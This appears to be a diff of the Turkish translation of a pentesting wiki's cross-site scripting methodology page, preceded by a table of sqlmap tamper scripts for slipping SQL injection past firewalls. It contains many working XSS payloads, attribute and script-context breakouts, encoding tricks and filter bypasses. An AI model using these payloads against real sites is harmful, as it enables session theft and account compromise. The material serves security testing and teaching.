| overlongutf8.py | Verilen payload'daki tüm karakterleri dönüştürür \(zaten kodlanmış olanları işlememektedir\) |
| randomcase.py | Her anahtar kelime karakterini rastgele büyük/küçük harf değeri ile değiştirir |
| overlongutf8.py | Verilen payload'daki tüm karakterleri dönüştürür \(zaten kodlanmış olanları işlemiyor\) |
| randomcase.py | Her anahtar kelime karakterini rastgele büyük/küçük harf değeri ile değiştirir |
| randomcomments.py | SQL anahtar kelimelerine rastgele yorumlar ekler |
| securesphere.py | Özel olarak hazırlanmış bir dize ekler |
| securesphere.py | Özel olarak hazırlanmış bir dize ekler |
| sp_password.py | Payload'un sonuna 'sp_password' ekler, DBMS günlüklerinden otomatik olarak gizlenmesi için |
| space2comment.py | Boşluk karakterini \(' '\) yorumlarla değiştirir |
| space2dash.py | Boşluk karakterini \(' '\) bir tire yorumu \('--'\) ile değiştirir, ardından rastgele bir dize ve yeni bir satır \('\n'\) ekler |
| space2hash.py | Boşluk karakterini \(' '\) bir pound karakteri \('\#'\) ile değiştirir, ardından rastgele bir dize ve yeni bir satır \('\n'\) ekler |
| space2morehash.py | Boşluk karakterini \(' '\) bir pound karakteri \('\#'\) ile değiştirir, ardından rastgele bir dize ve yeni bir satır \('\n'\) ekler |
| space2mssqlblank.py | Boşluk karakterini \(' '\) geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir |
| space2mssqlhash.py | Boşluk karakterini \(' '\) bir pound karakteri \('\#'\) ile değiştirir, ardından yeni bir satır \('\n'\) ekler |
| space2mysqlblank.py | Boşluk karakterini \(' '\) geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir |
| space2mysqldash.py | Boşluk karakterini \(' '\) bir tire yorumu \('--'\) ile değiştirir, ardından yeni bir satır \('\n'\) ekler |
| space2mssqlblank.py | Boşluk karakterini \(' '\) geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir |
| space2mssqlhash.py | Boşluk karakterini \(' '\) bir pound karakteri \('\#'\) ile değiştirir, ardından yeni bir satır \('\n'\) ekler |
| space2mysqlblank.py | Boşluk karakterini \(' '\) geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir |
| space2mysqldash.py | Boşluk karakterini \(' '\) bir tire yorumu \('--'\) ile değiştirir, ardından yeni bir satır \('\n'\) ekler |
| space2plus.py | Boşluk karakterini \(' '\) artı \('+'\) ile değiştirir |
| space2randomblank.py | Boşluk karakterini \(' '\) geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir |
| symboliclogical.py | AND ve OR mantıksal operatörlerini sembolik karşılıkları ile değiştirir \(&& ve |
| space2randomblank.py | Boşluk karakterini \(' '\) geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir |
| symboliclogical.py | AND ve OR mantıksal operatörlerini sembolik karşılıkları ile değiştirir \(&& ve |
| unionalltounion.py | UNION ALL SELECT'i UNION SELECT ile değiştirir |
| unmagicquotes.py | Alıntı karakterini \('\) çok baytlı kombinasyon %bf%27 ile değiştirir, sonunda genel bir yorum ile \(çalışması için\) |
| unmagicquotes.py | Alıntı karakterini \('\) çok baytlı bir kombinasyon %bf%27 ile değiştirir, sonunda genel bir yorum ekler \(çalışması için\) |
| uppercase.py | Her anahtar kelime karakterini büyük harf değeri 'INSERT' ile değiştirir |
| varnish.py | Bir HTTP başlığı 'X-originating-IP' ekler |
| varnish.py | Bir HTTP başlığı 'X-originating-IP' ekler |
| versionedkeywords.py | Her işlev olmayan anahtar kelimeyi versiyonlu MySQL yorumu ile sarar |
| versionedmorekeywords.py | Her anahtar kelimeyi versiyonlu MySQL yorumu ile sarar |
| xforwardedfor.py | Sahte bir HTTP başlığı 'X-Forwarded-For' ekler |

View File

@ -1,29 +1,31 @@
# XSS (Cross Site Scripting)
## Methodology
{{#include /banners/hacktricks-training.md}}
## Metodoloji
1. **Kontrol ettiğiniz herhangi bir değerin** (_parametreler_, _yol_, _başlıklar_?, _çerezler_?) HTML'de **yansıtılıp** yansıtılmadığını veya **JS** kodu tarafından **kullanılıp** kullanılmadığını kontrol edin.
2. **Yansıtıldığı/kullanıldığı bağlamı** bulun.
3. Eğer **yansıtılmışsa**
3. Eğer **yansıtılmışsa**:
1. **Hangi sembolleri kullanabileceğinizi** kontrol edin ve buna bağlı olarak yükü hazırlayın:
1. **ham HTML** içinde:
1. **Ham HTML'de**:
1. Yeni HTML etiketleri oluşturabilir misiniz?
2. `javascript:` protokolünü destekleyen olayları veya nitelikleri kullanabilir misiniz?
3. Koruma mekanizmalarını aşabilir misiniz?
4. HTML içeriği herhangi bir istemci tarafı JS motoru (_AngularJS_, _VueJS_, _Mavo_...) tarafından yorumlanıyor mu, [**İstemci Tarafı Şablon Enjeksiyonu**](../client-side-template-injection-csti.md) istismar edebilirsiniz.
5. JS kodu yürüten HTML etiketleri oluşturamıyorsanız, [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html) istismar edebilir misiniz?
2. Bir **HTML etiketinin** içinde:
3. Koruma önlemlerini aşabilir misiniz?
4. HTML içeriği herhangi bir istemci tarafı JS motoru (_AngularJS_, _VueJS_, _Mavo_...) tarafından yorumlanıyorsa, [**İstemci Tarafı Şablon Enjeksiyonu**](../client-side-template-injection-csti.md) istismar edebilirsiniz.
5. JS kodunu çalıştıran HTML etiketleri oluşturamıyorsanız, [**Dangling Markup - HTML scriptsiz enjeksiyon**](../dangling-markup-html-scriptless-injection/index.html) istismar edebilir misiniz?
2. Bir **HTML etiketinin içinde**:
1. Ham HTML bağlamına çıkabilir misiniz?
2. JS kodunu çalıştırmak için yeni olaylar/nitelikler oluşturabilir misiniz?
3. Sıkıştığınız nitelik JS yürütmesini destekliyor mu?
4. Koruma mekanizmalarını aşabilir misiniz?
3. **JavaScript kodunun** içinde:
3. Sıkıştığınız niteliğin JS yürütmesini destekleyip desteklemediği?
4. Koruma önlemlerini aşabilir misiniz?
3. **JavaScript kodunun içinde**:
1. `<script>` etiketini kaçırabilir misiniz?
2. Dizeyi kaçırabilir ve farklı JS kodu çalıştırabilir misiniz?
3. Girdiğiniz değer şablon literalleri \`\` içinde mi?
4. Koruma mekanizmalarını aşabilir misiniz?
4. Koruma önlemlerini aşabilir misiniz?
4. Javascript **fonksiyonu** **çalıştırılıyor**:
1. Yürütülecek fonksiyonun adını belirtebilirsiniz. örneğin: `?callback=alert(1)`
1. Çalıştırılacak fonksiyonun adını belirtebilirsiniz. örneğin: `?callback=alert(1)`
4. Eğer **kullanılıyorsa**:
1. Bir **DOM XSS** istismar edebilirsiniz, girdinizin nasıl kontrol edildiğine ve **kontrol edilen girdinizin herhangi bir sink tarafından kullanılıp kullanılmadığına** dikkat edin.
@ -37,9 +39,9 @@ debugging-client-side-js.md
Bir XSS'i başarıyla istismar etmek için bulmanız gereken ilk şey, web sayfasında **yansıtılan sizin kontrolünüzdeki bir değerdir**.
- **Ara yansıtılmış**: Eğer bir parametrenin değeri veya hatta yolun web sayfasında yansıtıldığını bulursanız, bir **Yansıtılan XSS** istismar edebilirsiniz.
- **Saklanan ve yansıtılan**: Eğer kontrolünüzdeki bir değerin sunucuda kaydedildiğini ve her sayfaya eriştiğinizde yansıtıldığını bulursanız, bir **Saklanan XSS** istismar edebilirsiniz.
- **JS ile erişilen**: Eğer kontrolünüzdeki bir değerin JS kullanılarak erişildiğini bulursanız, bir **DOM XSS** istismar edebilirsiniz.
- **Ara yansıtılmış**: Bir parametrenin veya hatta yolun değerinin web sayfasında yansıtıldığını bulursanız, bir **Yansıtılan XSS** istismar edebilirsiniz.
- **Saklanan ve yansıtılan**: Kontrolünüzdeki bir değerin sunucuda kaydedildiğini ve her sayfaya eriştiğinizde yansıtıldığını bulursanız, bir **Saklanan XSS** istismar edebilirsiniz.
- **JS ile erişilen**: Kontrolünüzdeki bir değerin JS kullanılarak erişildiğini bulursanız, bir **DOM XSS** istismar edebilirsiniz.
## Bağlamlar
@ -47,17 +49,17 @@ Bir XSS'i istismar etmeye çalışırken bilmeniz gereken ilk şey, **girdinizin
### Ham HTML
Eğer girdiniz **ham HTML** sayfasında yansıtılıyorsa, JS kodunu çalıştırmak için bazı **HTML etiketlerini** istismar etmeniz gerekecek: `<img , <iframe , <svg , <script` ... bunlar kullanabileceğiniz birçok olası HTML etiketinden sadece birkaçıdır.\
Eğer girdiniz **ham HTML** sayfasında **yansıtılıyorsa**, JS kodunu çalıştırmak için bazı **HTML etiketlerini** istismar etmeniz gerekecek: `<img , <iframe , <svg , <script` ... bunlar kullanabileceğiniz birçok olası HTML etiketinden sadece birkaçıdır.\
Ayrıca, [İstemci Tarafı Şablon Enjeksiyonu](../client-side-template-injection-csti.md) aklınızda bulunsun.
### HTML etiketinin niteliği içinde
### HTML etiketleri niteliği içinde
Eğer girdiniz bir etiketin niteliğinin değerinde yansıtılıyorsa, şunları deneyebilirsiniz:
1. **Nitelikten ve etikten kaçmak** (o zaman ham HTML'de olacaksınız) ve istismar etmek için yeni bir HTML etiketi oluşturmak: `"><img [...]`
2. Eğer **nitelikten kaçabiliyorsanız ama etiketten kaçamıyorsanız** (`>` kodlanmış veya silinmişse), etikete bağlı olarak **JS kodunu çalıştıran bir olay** oluşturabilirsiniz: `" autofocus onfocus=alert(1) x="`
3. Eğer **nitelikten kaçamıyorsanız** (`"` kodlanmış veya silinmişse), o zaman **hangi nitelikte** değerinizin yansıtıldığına bağlı olarak **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize** bağlı olarak bunu istismar edebilirsiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında rastgele kod çalıştırmasını sağlayabilirsiniz. Diğer ilginç bir **örnek**, `href` niteliğidir; burada rastgele kod çalıştırmak için `javascript:` protokolünü kullanabilirsiniz: **`href="javascript:alert(1)"`**
4. Eğer girdiniz "**istismar edilemez etiketler**" içinde yansıtılıyorsa, açığı istismar etmek için **`accesskey`** numarasını deneyebilirsiniz (bunu istismar etmek için bir tür sosyal mühendislik yapmanız gerekecek): **`" accesskey="x" onclick="alert(1)" x="`**
3. Eğer **nitelikten kaçamıyorsanız** (`"` kodlanmış veya silinmişse), o zaman **hangi nitelikte** değerinizin yansıtıldığına bağlı olarak **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize** bağlı olarak istismar edebilirsiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında rastgele kod çalıştırmasını sağlayabilirsiniz. Diğer ilginç bir **örnek**, `href` niteliğidir; burada `javascript:` protokolünü kullanarak rastgele kod çalıştırabilirsiniz: **`href="javascript:alert(1)"`**
4. Eğer girdiniz "**istismar edilemez etiketler**" içinde yansıtılıyorsa, açığı istismar etmek için **`accesskey`** numarasını deneyebilirsiniz (bunu istismar etmek için bir tür sosyal mühendislik gerekecektir): **`" accesskey="x" onclick="alert(1)" x="`**
Kontrol ettiğiniz bir sınıf adı varsa Angular'ın XSS'i çalıştırdığı tuhaf bir örnek:
```html
@ -69,8 +71,8 @@ Kontrol ettiğiniz bir sınıf adı varsa Angular'ın XSS'i çalıştırdığı
Bu durumda, girdiniz bir HTML sayfasının **`<script> [...] </script>`** etiketleri arasında, bir `.js` dosyası içinde veya bir öznitelik içinde **`javascript:`** protokolü kullanılarak yansıtılır:
- Eğer **`<script> [...] </script>`** etiketleri arasında yansıtılıyorsa, girdiniz her türlü tırnak içinde olsa bile, `</script>` enjekte etmeyi ve bu bağlamdan çıkmayı deneyebilirsiniz. Bu, **tarayıcı önce HTML etiketlerini ayrıştırdığı** ve ardından içeriği işlediği için çalışır; bu nedenle, enjekte ettiğiniz `</script>` etiketinin HTML kodu içinde olduğunu fark etmeyecektir.
- Eğer **bir JS dizesi içinde** yansıtılıyorsa ve son hile işe yaramıyorsa, dizeden **çıkmanız**, kodunuzu **çalıştırmanız** ve JS kodunu **yeniden oluşturmanız** gerekecektir (herhangi bir hata varsa, çalıştırılmayacaktır):
- Eğer **`<script> [...] </script>`** etiketleri arasında yansıtılıyorsa, girdiniz her türlü tırnak içinde olsa bile, `</script>` enjekte etmeyi deneyebilirsiniz ve bu bağlamdan çıkabilirsiniz. Bu, **tarayıcının önce HTML etiketlerini** ayrıştırmasından ve ardından içeriği işlemesinden dolayı çalışır; bu nedenle, enjekte ettiğiniz `</script>` etiketinin HTML kodu içinde olduğunu fark etmeyecektir.
- Eğer **bir JS dizesi içinde** yansıtılıyorsa ve son numara çalışmıyorsa, dizeden **çıkmanız**, kodunuzu **çalıştırmanız** ve JS kodunu **yeniden oluşturmanız** gerekir (herhangi bir hata varsa, çalıştırılmayacaktır):
- `'-alert(1)-'`
- `';-alert(1)//`
- `\';alert(1)//`
@ -83,14 +85,14 @@ alert(1)
```
#### Javascript Hoisting
Javascript Hoisting, **kullanıldıktan sonra fonksiyonları, değişkenleri veya sınıfları tanımlama fırsatını ifade eder, böylece XSS'nin tanımlanmamış değişkenler veya fonksiyonlar kullandığı senaryoları kötüye kullanabilirsiniz.**\
Javascript Hoisting, **kullanıldıktan sonra fonksiyonları, değişkenleri veya sınıfları tanımlama fırsatını ifade eder, böylece XSS'in tanımlanmamış değişkenler veya fonksiyonlar kullandığı senaryoları kötüye kullanabilirsiniz.**\
**Daha fazla bilgi için aşağıdaki sayfayı kontrol edin:**
{{#ref}}
js-hoisting.md
{{#endref}}
### Javascript Function
### Javascript Fonksiyonu
Birçok web sayfası, **çalıştırılacak fonksiyonun adını parametre olarak kabul eden uç noktalar içerir.** Gerçek hayatta görülen yaygın bir örnek: `?callback=callbackFunc`.
@ -98,7 +100,7 @@ Kullanıcı tarafından doğrudan verilen bir şeyin çalıştırılmaya çalı
![](<../../images/image (711).png>)
Eğer zayıfsa, sadece değeri göndererek **bir uyarı tetikleyebilirsiniz**: **`?callback=alert(1)`**. Ancak, bu uç noktaların genellikle **içeriği doğrulaması** ve yalnızca harfler, rakamlar, noktalar ve alt çizgiler (**`[\w\._]`**) gibi karakterlere izin vermesi oldukça yaygındır.
Eğer zayıfsa, sadece değeri göndererek **bir uyarı tetikleyebilirsiniz**: **`?callback=alert(1)`**. Ancak, bu uç noktaların genellikle **içeriği doğrulaması** ve yalnızca harfler, sayılar, noktalar ve alt çizgiler (**`[\w\._]`**) gibi karakterlere izin vermesi oldukça yaygındır.
Ancak, bu sınırlamaya rağmen bazı eylemleri gerçekleştirmek hala mümkündür. Bunun nedeni, bu geçerli karakterleri kullanarak **DOM'daki herhangi bir öğeye erişebilmenizdir**:
@ -114,7 +116,7 @@ parentElement
```
Ayrıca **Javascript fonksiyonlarını** doğrudan tetiklemeyi deneyebilirsiniz: `obj.sales.delOrders`.
Ancak, genellikle belirtilen fonksiyonu yürüten uç noktalar, çok ilginç DOM'a sahip olmayan uç noktalardır, **aynı kök içindeki diğer sayfalar** daha fazla işlem yapmak için **daha ilginç bir DOM**'a sahip olacaktır.
Ancak, genellikle belirtilen fonksiyonu yürüten uç noktalar, çok ilginç DOM'a sahip olmayan uç noktalardır, **aynı kökenden diğer sayfalar** daha fazla işlem yapmak için **daha ilginç bir DOM**'a sahip olacaktır.
Bu nedenle, **farklı bir DOM'da bu zafiyeti istismar etmek için** **Same Origin Method Execution (SOME)** istismarı geliştirilmiştir:
@ -132,7 +134,7 @@ dom-xss.md
### **Evrensel XSS**
Bu tür XSS'ler **her yerde** bulunabilir. Sadece bir web uygulamasının istemci istismarı ile değil, **herhangi bir** **bağlamda** bağımlıdır. Bu tür **keyfi JavaScript yürütmesi** **RCE** elde etmek, istemcilerde ve sunucularda **keyfi** **dosyaları** okumak ve daha fazlası için istismar edilebilir.\
Bu tür XSS'ler **her yerde** bulunabilir. Sadece bir web uygulamasının istemci istismarı ile değil, **herhangi bir** **bağlamda** bağımlıdır. Bu tür **keyfi JavaScript yürütmesi** **RCE** elde etmek, istemcilerde ve sunucularda **keyfi** **dosyaları** **okumak** ve daha fazlası için istismar edilebilir.\
Bazı **örnekler**:
{{#ref}}
@ -149,11 +151,11 @@ server-side-xss-dynamic-pdf.md
## Ham HTML içinde enjekte etme
Girdiğiniz değer **HTML sayfasında** yansıtıldığında veya bu bağlamda HTML kodunu kaçırıp enjekte edebiliyorsanız, yapmanız gereken **ilk** şey `<` karakterini yeni etiketler oluşturmak için istismar edip edemeyeceğinizi kontrol etmektir: O **karakteri** **yansıtmayı** deneyin ve **HTML kodlaması** yapılıp yapılmadığını veya **silinip silinmediğini** ya da **değişiklik olmadan yansıtılıp yansıtılmadığını** kontrol edin. **Sadece son durumda bu durumu istismar edebilirsiniz**.\
Girdiğiniz **HTML sayfasında** yansıtıldığında veya bu bağlamda HTML kodunu kaçırıp enjekte edebiliyorsanız, yapmanız gereken **ilk** şey `<` karakterini yeni etiketler oluşturmak için istismar edip edemeyeceğinizi kontrol etmektir: O **karakteri** **yansıtmayı** deneyin ve **HTML kodlaması** yapılıp yapılmadığını veya **silinip silinmediğini** ya da **değişiklik olmadan yansıtılıp yansıtılmadığını** kontrol edin. **Sadece son durumda bu durumu istismar edebilirsiniz**.\
Bu durumlar için ayrıca **[**Client Side Template Injection**](../client-side-template-injection-csti.md)**'ı da **aklınızda bulundurun**.\
_**Not: Bir HTML yorumu `-->` veya `--!>` ile kapatılabilir.**_
Bu durumda ve eğer kara/beyaz listeleme kullanılmıyorsa, şu tür payload'ları kullanabilirsiniz:
Bu durumda ve eğer kara/beyaz listeleme kullanılmıyorsa, şu tür yükleri kullanabilirsiniz:
```html
<script>
alert(1)
@ -162,11 +164,11 @@ alert(1)
<svg onload=alert('XSS')>
```
Ama, eğer etiketler/özellikler siyah/beyaz listeleme kullanılıyorsa, hangi etiketleri oluşturabileceğinizi **brute-force** etmeniz gerekecek.\
Hangi etiketlerin izin verildiğini **bulduktan** sonra, saldırı yapabileceğiniz bağlamı görmek için bulunan geçerli etiketler içindeki **özellikleri/olayları brute-force** etmeniz gerekecek.
Hangi etiketlerin izin verildiğini **bulduktan** sonra, saldırı yapabileceğiniz bağlamı görmek için bulunan geçerli etiketler içinde **özellikler/olaylar** üzerinde **brute-force** yapmanız gerekecek.
### Etiketler/Olaylar brute-force
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) adresine gidin ve _**Etiketleri panoya kopyala**_ seçeneğine tıklayın. Ardından, bunların hepsini Burp intruder kullanarak gönderin ve herhangi bir etiketin WAF tarafından kötü niyetli olarak keşfedilip keşfedilmediğini kontrol edin. Hangi etiketleri kullanabileceğinizi keşfettikten sonra, geçerli etiketleri kullanarak **tüm olayları brute-force** edebilirsiniz (aynı web sayfasında _**Olayları panoya kopyala**_ seçeneğine tıklayın ve önceki prosedürü takip edin).
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) adresine gidin ve _**Etiketleri panoya kopyala**_ seçeneğine tıklayın. Ardından, bunların hepsini Burp intruder kullanarak gönderin ve herhangi bir etiketin WAF tarafından kötü niyetli olarak keşfedilip keşfedilmediğini kontrol edin. Hangi etiketleri kullanabileceğinizi keşfettikten sonra, geçerli etiketleri kullanarak **tüm olayları brute force** edebilirsiniz (aynı web sayfasında _**Olayları panoya kopyala**_ seçeneğine tıklayın ve önceki prosedürü takip edin).
### Özel etiketler
@ -239,18 +241,18 @@ Hangi karakterlerin ayrıştırıldığını kontrol etmek için [buraya](https:
### Click XSS - Clickjacking
Eğer zafiyeti istismar etmek için **kullanıcının önceden doldurulmuş verilerle bir bağlantıya veya forma tıklamasını** gerektiriyorsa, [**Clickjacking'i istismar etmeyi**](../clickjacking.md#xss-clickjacking) deneyebilirsiniz (eğer sayfa savunmasızsa).
Eğer zafiyeti istismar etmek için **kullanıcının önceden doldurulmuş verilerle bir bağlantıya veya forma tıklamasını** gerektiriyorsa, [**Clickjacking'i istismar etmeyi**](../clickjacking.md#xss-clickjacking) deneyebilirsiniz (eğer sayfa zayıfsa).
### İmkansız - Dangling Markup
Eğer **JS kodunu çalıştırmak için bir niteliğe sahip bir HTML etiketi oluşturmanın imkansız olduğunu** düşünüyorsanız, [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html) kontrol etmelisiniz çünkü zafiyeti **JS** kodu çalıştırmadan **istismar edebilirsiniz**.
Eğer **JS kodunu çalıştırmak için bir niteliğe sahip bir HTML etiketi oluşturmanın imkansız olduğunu** düşünüyorsanız, [**Dangling Markup** ](../dangling-markup-html-scriptless-injection/index.html) kontrol etmelisiniz çünkü zafiyeti **JS** kodu çalıştırmadan **istismar edebilirsiniz**.
## HTML etiketinin içine enjekte etme
### Etiketin içinde/nitelik değerinden kaçış
Eğer **bir HTML etiketinin içindeyseniz**, denemek için ilk şey **etiketten kaçmak** olabilir ve JS kodunu çalıştırmak için [önceki bölümde](#injecting-inside-raw-html) belirtilen bazı teknikleri kullanabilirsiniz.\
Eğer **etiketten kaçamazsanız**, JS kodunu çalıştırmak için etikette yeni nitelikler oluşturabilirsiniz, örneğin (_bu örnekte çift tırnakların niteliği kaçmak için kullanıldığını unutmayın, eğer girdiniz doğrudan etiketin içinde yansıtılıyorsa onlara ihtiyacınız olmayacak_):
Eğer **bir HTML etiketinin içindeyseniz**, deneyebileceğiniz ilk şey etiketten **kaçmak** ve JS kodunu çalıştırmak için [önceki bölümde](#injecting-inside-raw-html) belirtilen bazı teknikleri kullanmaktır.\
Eğer **etiketten kaçamazsanız**, etikette yeni nitelikler oluşturarak JS kodunu çalıştırmayı deneyebilirsiniz, örneğin (_bu örnekte çift tırnakların niteliği kaçmak için kullanıldığını unutmayın, eğer girdiniz doğrudan etiketin içinde yansıtılıyorsa onlara ihtiyacınız olmayacak_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -267,12 +269,12 @@ Eğer **etiketten kaçamazsanız**, JS kodunu çalıştırmak için etikette yen
```
### Özellik İçinde
**Özellikten kaçamazsanız bile** (`"` kodlanıyor veya siliniyor), **değerinizin hangi özellikte yansıtıldığına bağlı olarak** **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize göre** bunu kötüye kullanabileceksiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında rastgele kod çalıştırmasını sağlayabilirsiniz.\
**Özellikten kaçamazsanız** bile (`"` kodlanıyor veya siliniyor), **değerinizin hangi özellikte yansıtıldığına bağlı olarak** **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize** bağlı olarak bunu kötüye kullanabileceksiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında rastgele kod çalıştırmasını sağlayabilirsiniz.\
Başka ilginç bir **örnek**, `href` özelliğidir; burada rastgele kod çalıştırmak için `javascript:` protokolünü kullanabilirsiniz: **`href="javascript:alert(1)"`**
**HTML kodlaması/URL kodlaması kullanarak olay içindeki atlatma**
HTML etiket özelliklerinin değerindeki **HTML kodlanmış karakterler** **çalışma zamanında çözülür**. Bu nedenle aşağıdaki gibi bir şey geçerli olacaktır (yükleme kalın yazılmıştır): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Geri Dön </a>`
HTML etiket özelliklerinin değerleri içindeki **HTML kodlanmış karakterler** **çalışma zamanında çözülür**. Bu nedenle aşağıdaki gibi bir şey geçerli olacaktır (yükleme kalın yazılmıştır): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Geri Dön </a>`
**Her türlü HTML kodlaması geçerlidir**:
```javascript
@ -325,7 +327,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Bu protokolleri enjekte edebileceğiniz yerler**
**Genel olarak** `javascript:` protokolü, **`href`** özniteliğini kabul eden herhangi bir tagda **kullanılabilir** ve **`src`** özniteliğini kabul eden **çoğu** tagda (ama `<img>` değil) kullanılabilir.
**Genel olarak** `javascript:` protokolü, **`href`** özniteliğini kabul eden herhangi bir tagda **kullanılabilir** ve **`src`** özniteliğini kabul eden çoğu tagda (ama `<img>` değil) kullanılabilir.
```html
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -347,7 +349,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Diğer obfuscation hileleri**
_**Bu durumda, önceki bölümdeki HTML kodlama ve Unicode kodlama hilesi de geçerlidir çünkü bir öznitelik içindesiniz.**_
_**Bu durumda, bir öznitelik içinde olduğunuz için önceki bölümdeki HTML kodlama ve Unicode kodlama hilesi de geçerlidir.**_
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
@ -385,7 +387,7 @@ Eğer herhangi bir URL'yi **`<a href=`** etiketi içine enjekte edebiliyorsanız
### Olay İşleyicileri Bypass
Öncelikle, faydalı **"on" olay işleyicileri** için bu sayfayı kontrol edin ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)).\
Öncelikle, yararlı **"on" olay işleyicileri** için bu sayfayı kontrol edin ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)).\
Eğer bu olay işleyicilerini oluşturmanızı engelleyen bir kara liste varsa, aşağıdaki bypass'ları deneyebilirsiniz:
```javascript
<svg onload%09=alert(1)> //No safari
@ -422,15 +424,15 @@ onbeforetoggle="alert(2)" />
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
[**buradan**](https://portswigger.net/research/xss-in-hidden-input-fields): **Gizli bir öznitelik içinde bir XSS yükü** çalıştırabilirsiniz, yeter ki **kurbanı** **tuş kombinasyonuna** **ikna** edebilin. Firefox Windows/Linux'ta tuş kombinasyonu **ALT+SHIFT+X** ve OS X'te **CTRL+ALT+X**'dir. Erişim anahtarı özniteliğinde farklı bir tuş kullanarak farklı bir tuş kombinasyonu belirtebilirsiniz. İşte vektör:
[**buradan**](https://portswigger.net/research/xss-in-hidden-input-fields): **Gizli bir öznitelik içinde bir XSS yükü çalıştırabilirsiniz**, eğer **kurbanı** **tuş kombinasyonuna** **ikna edebilirseniz**. Firefox Windows/Linux'ta tuş kombinasyonu **ALT+SHIFT+X** ve OS X'te **CTRL+ALT+X**'dir. Erişim anahtarı özniteliğinde farklı bir tuş kullanarak farklı bir tuş kombinasyonu belirtebilirsiniz. İşte vektör:
```html
<input type="hidden" accesskey="X" onclick="alert(1)">
```
**XSS yükü şöyle bir şey olacak: `" accesskey="x" onclick="alert(1)" x="`**
### Kara Liste Aşmaları
### Kara Liste Atlatmaları
Bu bölümde farklı kodlama kullanma ile ilgili birkaç hile zaten ortaya konmuştur. **Geri dön ve nerelerde kullanabileceğini öğren:**
Bu bölümde farklı kodlama kullanarak birkaç hile zaten ortaya konmuştur. **Geri dönüp şunları nerede kullanabileceğinizi öğrenin:**
- **HTML kodlama (HTML etiketleri)**
- **Unicode kodlama (geçerli JS kodu olabilir):** `\u0061lert(1)`
@ -438,17 +440,17 @@ Bu bölümde farklı kodlama kullanma ile ilgili birkaç hile zaten ortaya konmu
- **Hex ve Oktal kodlama**
- **veri kodlama**
**HTML etiketleri ve öznitelikler için aşmalar**
**HTML etiketleri ve öznitelikleri için atlatmalar**
[Önceki bölümün Kara Liste Aşmalarını](#blacklist-bypasses) oku.
[Önceki bölümdeki Kara Liste Atlatmalarını](#blacklist-bypasses) okuyun.
**JavaScript kodu için aşmalar**
**JavaScript kodu için atlatmalar**
[Aşağıdaki bölümün JavaScript bypass kara listesini](#javascript-bypass-blacklists-techniques) oku.
[Aşağıdaki bölümdeki JavaScript atlatma kara listesini](#javascript-bypass-blacklists-techniques) okuyun.
### CSS-Gadget'lar
Eğer webin çok küçük bir kısmında bir **XSS bulduysanız** ve bu bir tür etkileşim gerektiriyorsa (belki de alt kısımda bir onmouseover öğesi olan küçük bir bağlantı), o öğenin kapladığı **alanı değiştirmeyi** deneyebilirsiniz, böylece bağlantının tetiklenme olasılığını artırabilirsiniz.
Eğer webin çok küçük bir kısmında bir **XSS bulduysanız** ve bu bir tür etkileşim gerektiriyorsa (belki de alt kısımda bir onmouseover öğesi olan küçük bir bağlantı), **o öğenin kapladığı alanı değiştirmeyi** deneyebilirsiniz, böylece bağlantının tetiklenme olasılığını artırabilirsiniz.
Örneğin, öğeye şu şekilde stil ekleyebilirsiniz: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
@ -460,7 +462,7 @@ ve
> \#someid {top: 0; font-family: Tahoma;}
bulursanız, bağlantımızı şu forma getirebilirsiniz
bulursanız, şimdi bağlantımızı değiştirebilir ve şu forma getirebilirsiniz
> \<a href="" id=someid class=test onclick=alert() a="">
@ -468,11 +470,11 @@ Bu hile [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-x
## JavaScript kodu içine enjekte etme
Bu durumda **girdi** JS kodunun bir `.js` dosyasının içinde veya `<script>...</script>` etiketleri arasında veya JS kodu çalıştırabilen HTML olayları arasında veya `javascript:` protokolünü kabul eden öznitelikler arasında **yansıtılacak**.
Bu durumda **girdi** JS kodu içinde **yansıtılacak** bir `.js` dosyasında veya `<script>...</script>` etiketleri arasında veya JS kodu çalıştırabilen HTML olayları arasında veya `javascript:` protokolünü kabul eden öznitelikler arasında olacaktır.
### \<script> etiketini kaçırma
